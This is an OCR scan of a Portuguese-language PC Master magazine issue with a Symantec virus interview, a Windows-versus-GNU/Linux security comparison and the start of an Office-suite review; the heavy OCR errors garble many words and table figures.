& mais suscetivel a virus do que o Linux?

Ricardn Costa, da Symantec, é engenheiro de sistemas e especialista em seguranca

Ricardo Costa: Do ponto de vista de
sequranga, tanto o Windows quanto
sistemas baseados em Unix, como o
Linux, se nivelam em problemas de
seguranga se nao hauver a correta
configuracao deles. O sistema
operacional, seja qual for, & muito
vulnerdvel quando instalado nas
opgoes padrao.

Mo Windaws, falhas de
programacao estao aparecendo
constantemente o, por ser um sistema
operacional comergial, multas dreae do
codigo sdo protegidas, impedindo uma
configuragdo mais profunda.

Ja o Linux nao & ainda um
sistema operacional que seja facil
para o usudrio caseiro. Obviamente,

o fato do Windows ter um nimero
maior de usuarios contribui para essa
enorme avalanche de virus, Primeiro
porque se alguém cria um virus, ele o
quer ver espalhade no mundo &
exlstem muito mais computadores com
Windows nas residéncias e empresas
do que Linux. Em segundo, ¢ fato do
Windows ja ser bastante conhecido e

de facil programacao possibilita a
criagdo de virus até mesmo por
leigos em codigos,

PC Master: Hi eslalisticas scbre o
nimero de virus que surgem a cada dia®
Ricarda Costa: Nao existe um nimera
confidvel sobre a quantidade de virus
criados. |ssc depende muito da época
do ano - se houve mudangas
tecnoldgicas como um novo sistema
operacional ou aplicagéo, se esta
havendo algum evento impartante,
como eleigoes, olimpiades & copa do
mundo. Além digso, muitos virus nem
mesme chegam a Ir para o marcado,
ficando confinados ou inativos em
labaratérios de pesquisas,

PC Master: Em média. quanto tempo
depois de ser detectado um virus a
Symantec coloca o antivirus no ar?
Ricardo Costa: Isso depende do tipo

de virus. A enorme maioria das vacinas
380 criadas, testadas e dispanibilizadas
em menos de 3 horas. Outros requerem
10, 12, 15 horas. As vezes dias. ]

PC Master | 1/
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PC Master: Quem estd na frente
nessa briga: anlivirus ou virus-makers?
Ricardo Costa: Cssa cormida nao lem
competidares com largas vantagens.

A pole positicn vana periodicamente,
DU Seja, BM um Momento os
virus-makers estdo mals répldos, em
outro os fabricanles.

PC Master: Como tuncionam os
laboratérica de pesquisa da Symantec?
Ricardo Costa: O Sccurity
Respunse (laboratério de pesquisa)
tunciona 24x7x365 (24 horas por dia,
? dias por semana, 365 dias par

ano) — nunca para — e esta presente
em diversos pontos estratégicos no
mundo. O ambiente ¢ composto por 3
camadas: cinturdo de servidores de
vacinas, servidores de andlise e
engenheirns de sistemas.

O cinturao de servidores serve para
que nossos clientes tenham sempre a
yarantia de acesso 3s Informagbes de
vacinas & envio de amostras, Os
servidares de analise verificam as
amnstras enviadas ao nosso cenlro e
determinam qual é a infecgao,
principais caracteristicas do virus e
melos de reparagio ou remocio,
além de lestar a qualidade dag
vacinas. Os engenheires de sistemas
atuam spmente quando ha a
necesaidade de interpretacoes e testes
onde o ser humano ¢ incvitavel. lsso
cunfere uma disponibllidade sem
precendentes na industria, alem de
velocidade e qualidace.

PC Master: Qual o prejuizo anual de
empresas devido ao ataque oo virus?
Ricardo Costa: £ dificil precisar
valores, pois muilas emnpresas nac
consequem conlabilizar as perdas
financeiras, seja por talta de
conhecimento para tal, seja pelo fato
de que existem custos tangivers e
intangiveis, Quanto vale uma
infarmagao conlidencial? Quanto vale a
imagem da empresa’? Quando vale a
credibilidade? Sao fatores complicados
de serem auantificados. Somente
como base de entendimento,
estima-se no mercado que, em 2001,
as empresas amencanas perderam
cerca de LSS 266 hilhdes com

| PC Master

incidentes de seguranca. Isso
representa, em valores, algo em torno
de 2,5% do PIB dos EUA. No mundo
lodo, estima-se as pardas em
incriveis USS 1,6 trilhao.

PC Master: O virus ILoveYou tinha
extensio VBS. coisa ndo utilizada ha
muitc tempo. Quem tivesse um minimo
de conhecimanto em informatica ndo
abriria uma extensdo desse lipu, Por
outra lado, algo como "lLoveYou" chama
a atencao das pessoas. O que vale
maig: @ inteligénecia de quem desenvolve
algo gue se propaga sozinho ou o
sensibilidade para se fazer propagar,
atentando ao lado humano da yuestao?
Ricardo Costa: [ comprovado que o
clo mas fraco da seguranga tem um
nome: ser humano. Pessoas 580
lacilmente ludibriadas, enganadas ou
conduzidas, A lecnolugia de propagagao
nao é nada tao especial: a genlalidade
fica para as formas simples pelas quais
eles se apresentam tentando puxar o
interesse das pessoas,

Estima-se
que as
perdas das
empresas
no mundo
todo,
devido
a ataques
de virus,
seja de
1,6 trilhéo
de dolares

PC Master: ICQ, Kazuh e
Audingalaxy sao verdadeiras portas de
entradas para virus. O que fazer para
tentar impedir a entrada de hackers?
Ricardo Costa: Toda c gualquer
aplicago de colaboragéo, como os
instant messaging, podem ser
utilizados para propagacao de

virus e ataques de hackers [
necessdrio configurar algumas opgoes
de seguranga negses produtos, como
nau receber arquivos sem sua
permissdo e nao divulgar seus dados
pessoais. |sso varia de produto para
produto e, mais uma vez, &
fundamental o uso de um antivirus e
firewall pessoal, atualizando
conslanlements suas vacinas e regras.

PC Master: (ual o virus mais
alarmante que vocé teve noticia?
Ricardo Costa: Nio ha como
identificar um virus em particular
como sendo o mais 'forte' de ludos,
pois essa classificago depende de 3
fatorea: velonidade de propagacao,
abrangéncia das infecgtes no mundo
e nivel de danocs causades. Ma
inddstria do antivirus, eu tenhe uma
opinidu pesseal de que o divisor de
aguas toi o Melissa. Afinal,

essa praga foi o primeira grande
WOorm 4 causar um pandemonia e
forgar os fabricantos o

reavaligrem seus produtos e centroe de
pesquisa. O Chernobyl também foi
bastante ramplicada dewdo aos danos
que ele causava. Enfim. nao vejo noma
fazer essa classificogdo, poia de
lempos em 1empos Of virus
apresenian conceitos noves qua nac
existiam anteriormente,

PC Master: Ainda nesse prisma,

qual o hoax mais alarmante que voce
|4 teve noticia?

Ricardo Costa: No caso dos hoaxes,
um que foi muilo comentado falava
sobre um possivel virus destruidar que
estaria eacondido em um screen saver
da Budweiser. Um dos mais recentes.
orienta os UsU3rios a apagarem um
arquivo du HD que supostamante saria
um virus mortal mas na

verdade era um arquivo oficial do
proprio Windows. PEM
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°Reduza custos
compartilhando seu
acesso a Internet com
o BRMultiAcces - sem
nenhuma limitagdo
para até 5 usuarios
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Edigdo 57
*Com 2 CDs-ROM
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Windows e Linux
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Seguranca

Windows e GNU/Linux:

Ninguem esta

seguro

Linux e Windows possuem falhas de seguranca que podem deixar vocé exposto aos
mais diversos ataques. Conheca as vulnerabilidades de cada sistema e escolha o melhor

Por Fernando Lozano

20 | P€ Masrer

termo "seguranca da informacao". Antes, apenas
instituigbes militares, inddstrias desenvolvendo
tecnologias revolucionarias ou grandes
conglomerados financeiros realmente se
preocupavam com a seguranca dos seus
sistemas de computagao. Hoje qualquer
empresa pequena e média, ou mesmo
vocé, no conforto do seu lar, esté
preocupado com ataques de "crackers".
Nesta reportagem, vocé vai
conhecer os problemas existentes e
os recursos disponiveis nos dois
sistemas mais populares hoje,
o Windows e o GNU/Linux.
Se o sistema operacional ndo
for confiavel, e se os servigos
de rede oferecidos por eles
néo forem seguros, o melhor
firewall do mundo nao sera
garantia de seguranga,
porque o cracker utilizara
os caminhos "normais" de
acesso, como o servidor
web, para atingir os
seus objetivos.

A Internet mudou completamente o significado do







Seguranca

0 que é um sistema seguro?
Um sistema segura. deve:
* Fornecer mecanismos para impedir o

acesso nac-autorizado as informagdes.

» Estar disponivel para s usudrios
aulorizados sempre gue necessario.

* Mo possuir "hrechas” que possibilitem
0 2cessc nac-autonzado,

* Ser resigtente a tentativas de uso
indevido, propoeitais ou acidentais,

Mitos e Fatos

Os detensares de cada sistema
popularizaram uma sere de preconceitos
quanto a falta de sequranga no sistema
adversario. Ha muita desinfurmagio,
pois ndo interessa as empresas admitir
as reais virtudes e traquesas do seu
sistema. Ao mesmo tempo, exste
também interesse na pouca divulgagio
do assunto, pols assim & possivel cobrar
valores extorsivos por produtos e
servigos relacionados com seguranca.

Mitos — Conhega alguns dos mitos mals

populares:

= C Windows & uma colcha de retalhos
(todos gostavam de falzr mal da IBM
nos tempos do mainframe).

o O GNU/Linux vale o que & cobrado
(& um brinquedc de adclescantes).

* O3 crackers podem invadir facilmenta
o GMNU/Linux porgue tém acesso aus
cadigos-funtes,

* Mo se pode esperar por comecoes
rapidas em urm sistema gue nac tem
uma empresa como responsavel,

7 ¢

| P€ Masrer

Busca de vunerabilidades por palavra-chave

Componente
Sistema Operacianal

Web Server (IS vs Apache)

Script (ASP vs PHP)

SGBD (SQL Server vs MySQL)

Total
Ennte CERT fewenvenr Loy ), 20004/ 2002

L

Windows Linux
92 O et b 0
28 11
i SRR sl R
3 i ¥ i
130 64

Vunerabilidades em aberto

Componente
Sistema Operacional
Frnte: CFRT (wwweosrt.org). 2004,/ 2002

Windows Linuit
O O R

Fatos — Enquanto o0a mitos vac
principalmente contra o Linux, no meic
corporativa, onde os interesses
financeiros das empresas tradicionais
falam alto, os tatas indicam o oposto:

* [ecentes ataques de virus, como
Code Red, Nimda ou Sircam, 86
afetavam sistemas Windows.

« O tempo entre a Identificacao de urmns
brecha e 2 liberaciu de uma corregéo
no G/ Linus & bastante interior an
tempa no Windows.

* Os grandes provedores Internet
preferam utilizar o GNU/Linux,
FreeBSD e outros sisternas Lrnix.

Vulnerabilidades — () Computer
Fmergency Response Team (CERT)

& o principal organicmo da Internet
relativo 4 divulgagao de vulnerabilidades
@ de como corrigl-las, Umna busca no
banco de dados do CERT teve como
resultada um total de 130 falhas no
Windows e 64 ne Linux (veja guadro
Rusca de vulnerabilidades por
palavra-chave, acima).

As tabelas foram obtidas pela busca
simples de palavias-chave. A busca por
"Apache’. por exemplo, retarnou 28
vilerahilidades, igual o IS, Mas nac se
fala de bugs de scguranga do Apache
da mosma manelra que se fzla do 1S,
Examinando melbar os resullados ca
busta, € possivel veriticar que 17 dassas
vulneranilidades eram especificas do
Oracle Aplication Server 31, que ¢
baseado no Apache, mas nao se aplicam

ao software fornecido com distribulgbes
do GNU/Linux e nem a outros produlos
bazeados nele, como o WebSphere da
IBM. Paor isso, a tabela indica apenas 11
vilnerahilidades para o Apache,

Se restringirmes & busca as
vulncrabilidades em aberto (ou seja, yue
nao possuen um workaround ou
correcac do fabricante), a diferenca de
vulnerabilidades entre Windows e Linux
aumertia ainda mais (weja quadro acimal.

As wlnerabilidades devem
ser divulgadas?

A rezcio da Microsoft & descoberta
crescente de problemas de seguranga em
seus produtos fol criticar duramente
quem auer que divulgue informagbes
sobre novas vulnerabilidades,
chamando-os de "irresponsaveis' e
‘alarmistas” e acusando-os de
aumantarem o8 prejuizos A0S USUAncs.

MNesmo sem considerar que a
Microsoft e scus defensoras tém
interesses dbvios no ndo divulgagac
dosses problemas, o fato & gue as
entidades mais respeitadas no mundo
alualmente em termos de sequranca de
redes — — gfirmam
que a informacdo deve estar disponivel
205 USUENos, para oue esies pussdin
tomar medidas prevenlivas e corretivas
uu ald oplar por mudar de praduto.

Esta sltuagao e passageira?
Os defensores de solugdes Windows
nao se dao por vencidos, & levanlarn



Arquitetura do Windows

Sessdo Interativa

Aplic. 2

t_____ Syscall

M Subsistema
Win32

A, Tokan

User mode

Kernel mode

Executivo

HAL

outras guesties:

» E quando o GNLUL/Linux atingir o nivel
de wisibil dace de Windows?

* £ quando houver milhoes de desktops
GNU/Linux canectados 4 Internet?

* E quando o Windows abandonar o
legado do MS-DOS e do LAN
Manager (NetBIOS)?

0 argunento usado & que o
Windows é mais vulneravel por ser
mals expesto e mais chamativo, ¢ gue
todos querem atacar o lider do
marcado. De acordo con esse
persamento, se um dia o GNU/Linux
tor tao popular quanto o Windows, a
stencao dos crackers e criadores de
virug se voltara contra ele, e suas
vulberabllidaces serac expostas.

E bom lemmuran, no enlanto, gue o
GMNLL Linux & o lider de mercads na
web [de acordo com dados do
www.neteraft.com): 65% dos web sites
utilizam Apache, espacialmente grandes
provedores e lojas virtualg, contra 23%
com IS, Entao, provevelmenle, ndo é
por falta de exposicao que aparecem
menas vulnerahilidades no GNU/ Linux.

Grande parte das vulnerabilidades do
Windows sda ariundas do seu antigo
subsistema de rede, baseado no
MNetBIOS, que estad sendo abandonado
em favor do Active Directory.

Arquitetura do Windows

O diagrama do Windows [veja
fuacdro ahaxo) fornece uma visao
simplificada da arguitetura do
Windows NT/2000.

O acesso a recurses do kemel, do
execulivo ou dos servicas, @ contralado
par meia de tokens fornecidos pelo LEA.
Processas comuns nac podem invocar
chamadas do cxecutivo. Apenas os
processos especiale chamados
"subsislermas” pussuen esla capacidade,
gracas & tokens privilegiados que eles
ahtém do [ durante o haat.

A arquitetura de subsistemas veio do
requisitc original de emular o elstema
OS/2 (para 2 migragio dos usudrios do
LAN Manager) e de ser compativel com
o padrao Posix (para atender &s normas
de compra do governa americano). Hoje,
apenas o subsistema Win32 e o LSA
continuam evoluindo.

Aplicagbee Interativas e de
retaguarda (servigus) sdu programacas
segundo AFls diferentes — e & este o
significadn das cores diferentes na
diagrama. O sisterna suporta uma unica
seesdo interativa, dal os problemas de
compatibilidade de aplicativos com o
Terminal Services. Componentes
propensos a falhas, como o USER e o

GDI, responsaveis pela interface aréfica,
furam incerporados ao execulive, O
D|‘_uje+_|'.,r(_1 tol estimular a Migracan de
Windows Bh para o NT 4.0, pois a
arquitetura de scguranga em trég nivels
torna a NT maie lento para aplicagtes
de prudulividede pessoal. Enlrelanlo, se
esles componenles rodam denlio do
executiva, ficam livres do averhead e a
diferenca de performance diminu, Um
bug na interface grafica, porém, pode
travar o sistema por comaleto.

Arquitetura do GNU/Linux

MNo diagrama do Linux (veja quadrm
na proxima paginal, vocé encontra uma
visdo simplificada da arguitetura do
GMNU/Linux, As duas Unicas maneiras
dhe lmilar 0 acesso a um recursg No
GNU /Linux sao: a restricao de
nperaches ao root (uid zero) e as trés
nivels de permissdes (done. grupe ¢
outros) associados ao sistema de
arquivos, Se um recurso & mapeado
para um argquive (com um device) é
possivel delnir estas permissdes.

Per outra lada, um executavel
qualquer pode rodar com o privilégios
do dono em vez gos privilégios do
usudrlo corrente, de acordo com o
alribulo set-user-id,

() mecanismno de sequranca e de
delegacao, depende de uma
implementacdo de alta qualidade dos
comandos do slstema. »

SA:

PC Master |




Seguranca

Arquitetura do GNU/Linux

Sessdo Interativa 2

Comparandc os mecanismes dos
dois sislemas, a conclusao
supreendente & que o Windows possui
085 melhores macanismaos, como:

* Controle de aceeso mals granular por
e objetos do
kemel/exacutivo/servigos
0O Windows pode definir uma série
i de niveis de privilégios, em vez das duas
opcoes (root ou usudrio regular)
pré-fixadas no GNU/Linux,

Syscall
* Uso de tokens que podem ser
passados de processo a processo
ou mesmo para outros nés da rede
Device-Drivers & IFS _Twﬂm)

Recursos de seguranca do
Windows vs GNU/Linux

A maneira padrao de se avaliar e
classiticar recursos de sequranca em
softwares vem do "Orange Book!, um
manual das forcas armadas dos EUA
que define nivels de seguranga
aceltavels para cada atividade militar ou
governamental, e gue fui logo adotado
por empresas com requisitos estritos de
seguranca. cama o mercado financeiro.

A tabela "Compare 05
recursos de cada sistema" abaixo,
fornece uma visao simplificada dos
recursos de seguranga dos dois

O NIS e 0 NFS (os slstemas de
autenticacao integrada e de
compartilhamento de arquives do Linix)
nan autenticam computadores. E muito
facil forjar host names e wids plugando
noves computadores na rede, mas ndo é
possivel forjar o token formecido pelo
Kerberos, que & gerado a cada conexdo,

* Uso de mecanismos de
autenticagéo chalenge/response
para conexdes remotas
Multos protocolos padric do Unix e
da Internet, como Telnel & FTP, enviam
senhas em texto puro pela rede, que
padem ser capturadas por sniffers. A

golugao do GNU/Linux é utilizar SSH e

sistemas, segundo a visao

do Orange Bock, Observe que na
coluna "Windows' estamos falando
apenas da linha NT, e que alguns
dos recursos citados existemn

apenas no Windows 2000
(NT 5.01 e posteriores,

Compare os recursos de cada sistema |

CHECRNNGRS b

Host name e uid

lekens Kerberos para
ustdrios o computadoros

Truated hosts
- Programas set-user:id

Quates de afis- _
Prioridades Limites g meméria,:
semaforos, file handles

: il
Limites sobre a Quotas de disco
utilizagéo de recursos  Prioridades




0 que torna o Wlndows tao inseguro

FATOR

Tempo de
vulnerabilidade

 Qualidade da
implementagao

Permiesdes Default

Administragin Aemota

Wi NDQWS

Acesso IMestrito a arquivos e so regisiry

lermmal Sﬁrwcea g MMG 300
inefetivos em conexdes WAN e
ornecem criptografia

m&ﬁﬂﬁ- Il
Mao & vidvel mudar cunﬂgumqoeb
¢ instalar upgrades imadiatameante
por causa da necessnddde de reboct

NUVB"‘ VCI’"D&S “BD 1|bEI’Ed-EIS H’D !"I'IQ!'CSI'EIU

eom problemas conhegidos. Recursos
de seguranga sao adicionados

~ par servigo

ferrarnul:Ld ddmllnsLl‘atwa

. Qualquer comporerte do sistema pads ser
- gubstituido (ate pelo admimamdw) gem
. afetar & estabilidade do restants do sistema

GNU/LINUX

0 usudrio tem acesso an seu dirstdrio SHOME
& naga mas

Contas | regulares sen'n prmiégm individuais

S5H, Wehrmn ou D oﬂ|a'f Hemam permttem
© Uso remoto 8 sepuro de gualguer

ivinl pacrevar shell scripts utiizando s
mﬁm mtenl‘ea. amuwoa tﬂxw au .r'pme'. ;

Ccmo o8 u;:qrades a reconﬂgurac;ﬁes nao
exigem rebooks, podeim ser filog
automaticamente a qualquer momento

Ha mais honestidade quanto a siluagao de
novas versoes. A busca por erms de seguranca
& parte normal do projeto e testes de tocos

cada sarvign
b

apenas em versies posteriores de

os componentea e aplicativos

autros servicas com criptografia,
reduzindo o desempenho. & solugdo do
Windows & adotar mecanismos de
chalenge/response (desalio e
resposta) que evitam a captura das
senhas sem recorrer ao custo
computacional da criptografia.

Um paradoxo aparente

Se us mecanismos de
autenticagdo e de controle de acessn
do Windows saa melhores, entao por
gue na pratica & bem mais facil
"hackear" um sisterma Windows co
gue um sisterna Linux?

Urma primeira resposia vem do
dia-a-dia de usudrios, administradoras e
desenvolvedores em cada sistema, O
Windaows impoe uma cultura de 'caixa
preta’ e uma falsa Impressao de
"facllidade de administracac’. Seguranga
de redes exige conhecimento e estorgo
Aumentar a seguranca sempre implica
em diminir o canforto e a comodidade
de operagdo do sistema, como ser
chrigade a digitar uma senha para
ertrar na rede, por exemplo. Ja no
GNLUL Linux espera-se que o
programadaor e o administrador tenham

um bom nivel de conhecimento tecnico.

A resposta cefinitiva vern do fato
que os requisilus de seguranga da
Internet sao bem diterentes dos
requisitos definidos pelo Orange Book
Para roubar informagoes do Pentdgono,
ou segredos Industriais da Internet,
antes era necessariu estar dentio da
empresa. Era preciso ter acesso fisico
aos computadores e isso s6 era possivel
sendo um funcionano. O Orange Book
trata da segurangs cm uma rade
Interna, estritamente controlada,
focando nu acessu @ arguivos.

Com a Internet, o cracker nan
precisa mais ser um funcionano e nem
estar dentro da empresa para ooter
acesso indevido. O cracker pode nem
mesmo estar preccupado em ter
acesso: ele pude querer apenas
derrubar o seu servidar ou "pichar’ a
sua homea-page. Nao havera viclagao
de informagoes confidenciais, mas
ainda assim havera prejuizos
oonsideraveis, A Internet aumenta
muito v escupo da seguranga de
redes, que passa a focar o acessa a
servigns & partir de uma rede externa,
gue vocé nac controla,

Porque o Windows é
inseguro

A tabela 'O que torna o
Windows tio inseguro |, auima,
sumariza uma série de deticiéncias do
Windows que contribuem para o seu

alto indice de vulnerabiidades.
apesar dos mecanismos sofisticadoe ]
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de seguranga presentes no alstema,
Confira alguns:

* Defaults da instalagio

Para facilitar a compatibilidade de
instalagéo de programas escritos para o
Windows concedem as permissdes full
control para everyone sobre lodo o
sistema de arquivos e sobre todo o
Registry, exceto o SAM. Isto signitica
que qualquer usuario pode remover,
alterar ou acessar qualquer arguivo @
configuragdo do sistema, Ne
GNU/Linux, pelo contrario, o usudrio
nac pode nem mesmo ler um disguete
ou CD sem que tenha sido concedida a
permissac de acesso ao dispositivo.

Qutro exemplo de default ruim ¢ o
flltro de pacotes: por padréo, ndo ha
nenhurma regra no Windows, parz néo
atrapalhar o IC0Q) e o Napster No
GNU/Linux, & bloqueado o acesso a
gualguer servigco que nao tenha sido
explicitamente liberado na instalacéo.

O pior dos defaults de inslalagao do
Windows & o uso de uma conta de login
do sisterna para todos os senigos. Um
cracker necessita comprometer apenas
um servigo de rede para obter acesso
total e irrestrito ao servidor, Mo
GMNU/Linux, cada servigo de rede &
instalado com um usuano regular, sem
privilegios administrativos, apenas com
o minima para ler os arquivas utilizados

| PC Masrer

pelo servigo. E este usuario ndo tam
permissao de login interativo,

* Dificuldade de administragéo

A maiorie das pessoas considera o
Windows fécil de administrar porgue
tudo é feito na Inteface grafica. Mas,
para v administrador prevcupado com 2
seguranga, na pratica o Windows &
diticil e administrar,

lsso porgue oa mecanismos de
administracio remota do Windows néo
s8c completos nem seguros,
especialmeanle em ambienle de WAN.
Alem disso, nao existe documentagao
sabre a maioria das configuragoes
armazenadas no Registry € € muito
complicado automatizar tarefas
administrativas e de monitoragao com o
WSH (Windows Scripling Host).

MNa GNU/Linux, a administracan
remota e a automacgao de tarefas sao
vidveis mesmo em links lentos, Se vocé
precisa de um front-end mais facil de
operar, pode utilizar o webmin, Estando
em LAN, vocé pode executar pela rede,
com criptogratia, qualquer terramenta
GU| da sua distribuigac. Caso nao tenha
muitos conhecimantos sobre as
configuragdes corretas de seguranga,
pode utilizar ferramentas automatizadas
criadas por oulros administadores,
como o Bastille Linusx.

* Qualidade da implementagio

O foco em time-to-market e
lacilidade de uso do Windows faz com
que servigos de rede sejam oterecidos
sem um cuidado com a seguranga
(néo existe sandbox para Activex, por
exemplol ou com varios erros de
buffer overflow,

* Pouca modularidade

(s varios componentes da Windows
sa0 extrememente independentes, de
modo que um componente problemdatico
nac é facilmente substituido por um
novo companente de melhor qualidade.

0 que torna o GNU/Linux
mais seguro?

Se uma colsa pode ser considerada
certa em seguranye de redes, é gue sua
rede serd invadida, mais cedo ou mais
arde. Nunca havera 100% de seguranca

contra invastes, por melhores que
sejam os seus lirewalls ou 1D3, por
exemplo. Por isso & imprescindivel que
se tenha as seguintes capacidades:

|dentificar e rastrear uma invasao,

para gue seja possivel agir
correlivamente e evitar incidentes
futuros semelhantes.

Limitar ¢ alcance do estrago:

uma vez que o cracker tenha
comprometide algum servigo de rede do
sisterma, gue nac seja possivel partir dai
para acessar informagtes mantidas por
outros servigos.

Um fato desagradavel € que o
Windows nao possul nanburm
mecanismo de defesa que forneca estas
duas capacidades. Ja o GNU/ Linux
fornece uma série de mecanismos de
defesa que o tormam efetivamente mais
resistentes a atagues, pur exemplo:

* Lags remotos

(s registros de auditaria de
segurancga & de aplicativos (syslog)
podem ser redirecionados e/ou
duplicadoe para outro nd da rede,
mpressoras ou unidades de lita. Desla
forma, impede-se que um cracker
apague seu proprio rastro, e tambem
facilita @ monitoragac dos sistemas,

= Ambientes "chrooted"

E umn ambiente restrito, uma
especie de 'sandbox’ onde um
procesao pode ser colocado em
oxecucdo. Servigos publicos padrio
como o ftp andnimeo séo executados
erm um ambiente chroot por padréo @
sites conscientes em relagio &
sequranga rodam todos 0s servicos
acessiveis pela Internet — coma e-mail,
dns e web — em ambientes chrooted
independentes e isolados.

Um processo n@o tern como sair do
sau ambiente chrooted, pode apenas
criar um novn ambiente ainda mais
reatrito. Um ambiente chrooted permite
ao administrador minimizar os danos
potenciais causados por uma invasao
bem-sucedida ou pela descoberta de
uma nova vulnerabilidade em um servico
de rede essencial.
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11IS na mira dos criticos

.0 Garner recomenda gue empresas atingidas tanto pelo Code Red quanto palo o
Ninda investiguenn imedialamente alternativas an IS, inclusive mover suas aplicagies
web para software de outres fornegederes, como o iPlanet @ o Apache. Apesar destes
servidores web lerem requeridn alguns patches de saguranga, eles possuem um
histérico de seguranga muite melhor do que o HS "

Nimda Worm Shows You Can't Always Patch Fast Frough

19 September 2001, John Peacatore F1-14-b624

*...Empresas gue ninda nao adotaram o /IS como seu software para servidor wab
devam pesar cuidadosamente a seguranga nomo critério de avaliagio de qual software
dtilizar, Apesar do IS ser gratuite como parte do Windows 2000, os custos
aperacionais de instalar continuamente patches de seguranga para corrigir novas
vulrerabilidades do 1S ... faz com que o IS tenha um alto custo de progriedade...’
Ancther Windows 2000 Flaw Exposes Microsoft Security Weaknesses

7 May 2001, John Peecatore FT-13-6734 www.gartner.com

= Permisséo de execugao

A permissan de execucao sobre um
arquive bindno ou scnpt @ mdependents
da permigsdo de leitura. Normalmente,
apenas a permissio de execugao &
concedida zos programas. Isto dificulta
a pirataria de sollware e & propagacac
de virus (um executdvel anexado a uma
mensagemn de e-mall nao sera
executado antes guc o permigsao seja
concedida pelo usugrio).

Segmentos de memdria de dados e
pilha também podem ser marcados
como nac-executaveis. o gue Impede
ataques de "buffer cverflow ¢ a
ingtalaco ge virus tradiclonale.

» TCP Wrappers

Os TCP Wrappers san tima
hitlintera de nivel de aplicagaa que
permite restringir conexdes a servigos
de rede baseados em enderegos IP &
nomes DNS. Eles complementam &
reforgam reslricoes impostas no filtro de
pacotes do kerne! segundo o principia
de 'defense in depth': todes as politicas
de seguranga devem sor valicadas cor
multiplos macaniemos, po's assim néo
bastara burlar uma dnica delesa para
ubler acesso nao-autorizadao.

Os TCF Wrappers permitem
associar agoes a tentativas de conexao
nao-autorizadas, como registros
adicionals de log, aumento das
restricbes (bloguear lodas as conexoes
vindas de um endereca IP suspeital, ou
mesmo realizar "contra-atagues”.

* Acesso ao codigo-fonte

huitoa admimistradores
congideram, erroneaments, gue este &
um risco adicional, quandoe na verdade
& uma seguranca a mais, Os crackers
domiram as técnicas de engenharia
para descobrir vulnerabilidades. Mas o
acesso aos fontes permite a realizagéo
de auditeria para localizar
vulnerabilidades e avalizr a gqualidade
2 seguranga da implementacan de
rada servigo de rede ou aplicativo,
Lembre-ase que o fornccodor do
goftware, que é o unico gue pode
realizar estas atividades sobie o
sollware proprietario, € a parte menos
interassada em divilgar s
verdadeiros resultados,

S0 o foto dos fontos estarem
disponivele para avaliaggo por qualquer
interessado inibe a
insergao de 'bacalbaus’ e back-doors
pelos programadores. Was o principal é
que o acesso aos fontes permite &
administradores © desenvolvedores
gualifcados fornecaram cormacoes
de modo independenle do
formecedor do 50

Ma vardade, os prafissionais mais
gualficados pare este trabalho ndo 5o
ermpregados das empresas fornecedaras
de tecnolcgia, mas sim das empresas
usuarias da lecnologia. E ¢ usudrio que
pode ir a faléncia por um erro de
seguranca, nac o fornecedor, Leia com
cuidado as licencas dos seus softwares,

tooas elas, sern excecio. conlemn a
clausula de ne liability",

» Posaibilidade de "esconder' os arguivos
de configuragéo

Mannum programs ou arguivo Lem
localicacao fixa no GNU/Linux. Todo a
processe de boot e de inicio dos
servicas & controlada por soripts que
podem ser editados pelo administrador ¢
todos o3 arguivos de configuragdo e de
dados tem csuzs localizagdes
pardamelrizadas nesses scripls.

Conclusdo

A supenondade do GNU/Linux em
termos de seguranga para a Intarnet naoc
& Epends @pdarenle ou passayeing,

O projeto do sistema esta mais
adaptadn as necessidades da rede
global e, a'ém dissc, passul Mecanismos
unicos de defesa sem similar, exceta,
talwez, por outros sistemas de linhagem
Un:x (1% II'HIUddU.

O Windows tem um projeto de
sequranca barte para compartilhamenta de
arniivos, mas nan tao adequado pra a
Internet, e sofre com problemas de eultura
¢o usugrio e de qualidade de
mplementacio. Para complelar, ele carece
ce mecanismos para limitar o estrago quea
node ser causado por crackers, uma vez
gue eles consigam compramaeter algum
dos servigos de rede do sistema. PCM
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Solug

A Revista PC Master selecionou e analisou
cinco versées do Office. Conheca detalhes
de cada uma delas e escolha a melhor opcdo

nalisamos cinco versoes de
A aplicagtes Office que

podein sar altemativas baratas
e mais simples que o pacote do
M= Office. Faram avaliados recursas
Linux e Windows, sendo que
algune dos pacotes ndo possuem
solugdes para as duas platalonmas,

E o caso do Koffice e do
Grnome Office, que tém aplicages
somenie parg |_|'r|ut SR
LasyOttice. que & voltado apenas
para o Windows.

Todas as aplicagdes foram
testadas e comparadas com cg
prograrmas corraspandenles do

0€eS
Office

paccte M3 Office. Alem disse,
foram verificadas as compatibilidades
enlre esses softwares, E o resulladu
vooé contere aqui

A seguir, veja a analise de cada
um dos pacotes. ¢ a descrigdo das
princlpale ferramentas gue
goompantam o sallware.

KOffice Linux (Linux) www.koffice.org

O gerenciador de janelas KDE
passui um pacote de ferramentas
Office desenhado eapecialmente
para este ambiente grafico, que &
baseado na biblicteca Qt. O
software se encontra atualmente
na versao 1.1.1. Este pacote @
inatalade normalmente como ©
KDE durante a instalacdo do
gigstema operacional Linux.

MNada impede, porém, gue os
aplicativos funcionsm em outros
gerenciadoras — desde que a
pacote de hibliotecas Ot esteja
instalado ne sistema. Assim, o
usudrie pode executar o Kword,
gque & o editor de texto no
ambiente WindowhMaker, sem que
haja qualquer problema,

O pacote tem recursos muito
semelhantes aos da Microsoft,
com algumas limitagées am
relagédo ao concorrenle. Para as
taretas mals rotineiras @ comuns,
& uma atima solugan.

| PC Master

Aplicativos

O paccte do KOffice é formadeo
por varias ferramenlas que sao
encontradas no menu do KDE. No
grupo de ferramentas Escritdrio,
basta selecionar a ferramenta
desejada no menu para que a

gplicagdo seja carregada ao sistema,

A seguir, veja as terramentas
disponiveis no pacote do KOffice:

LY
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O Kword é bastante compativel
com documentos do MS Word

KWord

O KWoard é o editor de textos do
KOffice e segue o padréo dos
editores de texto avangados
exiatentes no mercado. Com
resultado final bastante profissional,
nada fica a dever acs seus
similares comerciais,

Urna das preccupagoes do
orojeto do KOffice é a
compatibilidade dos seus aplicativos
& 0§ arguives, por exemplo, com
extensdc doc, criados no Word,
gue acabaram sendo distribuldos
Como EEL'!CLJI'I“IE'HtDS |JCII' terem se
tornadn muita populares. Esses
arguivos, partanto, podem ser
abertos e editados no KWord sem
maiores problemas, assim como o0s
documentos gerados neste
saftware podem ser gravados no
formato Word.

& versdo analisada do software,
que @ a encontrada no KDE3 do
RedHat 7.3, que estd ne CD-ROM
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A interface do KSpread é simples e

semelhante as de seus concorrentes J
N

desta edigéo, tem disponivel o
dicicnario em portugués usado no
Bresil. As palavras com erro de
ortografia nda sdo gritadas, mas
possui o recurso de autocorregan,

